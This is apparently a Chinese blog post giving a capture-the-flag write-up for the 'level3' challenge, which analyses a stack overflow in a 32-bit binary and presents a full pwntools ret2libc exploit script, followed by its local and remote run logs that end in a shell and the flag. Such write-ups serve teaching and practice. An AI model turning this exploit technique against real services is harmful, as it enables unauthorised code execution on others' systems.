攻防世界 level3 wp

2019-05-30  本文已影响0人  111p1kk

0x01寻找漏洞

checksec
kk@ubuntu:~/Desktop/black/GFSJ/level3$ checksec level3 
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
ida分析
ssize_t vulnerable_function()
{
  char buf; // [esp+0h] [ebp-88h]

  write(1, "Input:\n", 7u);
  return read(0, &buf, 0x100u);
}

漏洞可以很轻松的找到,read处存在栈溢出

0x02思路分析

无libc文件,无sys函数,无binsh字符串,有read和write函数,很明显的ret2libc
原理:system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的 12 位并不会发生改变。用工具来找到对应的libc文件

0x03攻击

exp如下
#!usr/bin/python
#coding=utf-8

from pwn import *
from LibcSearcher import *

# context.log_level = "debug"

io = remote("111.198.29.45",50137)
# io = process("./level3")

elf = ELF("./level3")

read_plt = elf.plt["read"]
write_plt = elf.plt["write"]
write_got = elf.got["write"]
main_addr = elf.symbols["main"]

io.recv()

payload  = "a" * 0x88
payload += p32(0xdeadbeef) 
payload += p32(write_plt)
payload += p32(main_addr)
payload += p32(1)
payload += p32(write_got)    #write(1, addr, 4)从addr开始读取4个字节数据,泄露write在程序中的真实地址
payload += p32(4)

io.sendline(payload)

write_leak = u32(io.recv()[:4])
print "write_leak ==> " + hex(write_leak)

libc = LibcSearcher('write', write_leak)
libc_base = write_leak - libc.dump('write')    #libc.dump()获取write在libc中的地址,从而计算偏移量
print "libc_base ==> " + hex(libc_base)

sys_addr = libc_base + libc.dump("system")    #获取函数在libc中的真实地址
print "sys_addr ==> " + hex(sys_addr)

#libc_binsh = libc.search("/bin/sh").next()
bin_sh_addr = libc_base + libc.dump("str_bin_sh")
print "bin_sh_addr ==> " + hex(bin_sh_addr)

io.recv()

payload2  = "a" * 0x88 + p32(0xdeadbeef)
payload2 += p32(sys_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)

io.sendline(payload2)

io.interactive()

这个脚本让人头大的是...
本地:(加了sleep有时候行有时候不行...)

kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py 
[+] Starting local process './level3': pid 12529
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
write_leak ==> 0xf7e4c3c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base ==> 0xf7d78000
sys_addr ==> 0xf7db2940
bin_sh_addr ==> 0xf7ed102b
Traceback (most recent call last):
  File "exp.py", line 45, in <module>
    io.recv()
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 78, in recv
    return self._recv(numb, timeout) or ''
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 156, in _recv
    if not self.buffer and not self._fillbuffer(timeout):
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/tube.py", line 126, in _fillbuffer
    data = self.recv_raw(self.buffer.get_fill_size())
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 679, in recv_raw
    if not self.can_recv_raw(self.timeout):
  File "/usr/local/lib/python2.7/dist-packages/pwnlib/tubes/process.py", line 723, in can_recv_raw
    return select.select([self.proc.stdout], [], [], timeout) == ([self.proc.stdout], [], [])
KeyboardInterrupt
[*] Stopped process './level3' (pid 12529)

远程:

kk@ubuntu:~/Desktop/black/GFSJ/level3$ python exp.py 
[+] Opening connection to 111.198.29.45 on port 50137: Done
[*] '/home/kk/Desktop/black/GFSJ/level3/level3'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
write_leak ==> 0xf767b3c0
[+] ubuntu-xenial-amd64-libc6-i386 (id libc6-i386_2.23-0ubuntu10_amd64) be choosed.
libc_base ==> 0xf75a7000
sys_addr ==> 0xf75e1940
bin_sh_addr ==> 0xf770002b
[*] Switching to interactive mode
$ ls
bin
dev
flag
level3
lib
lib32
lib64
$ cat flag
cyberpeace{依旧需要你自己做口合口合}
$  
ps

我尝试了网上其他大佬写的脚本哈,本地和远程都行...所以我的脚本到底哪里错了,感觉跟他们的都差不多啊


菜是本源
上一篇下一篇

猜你喜欢

热点阅读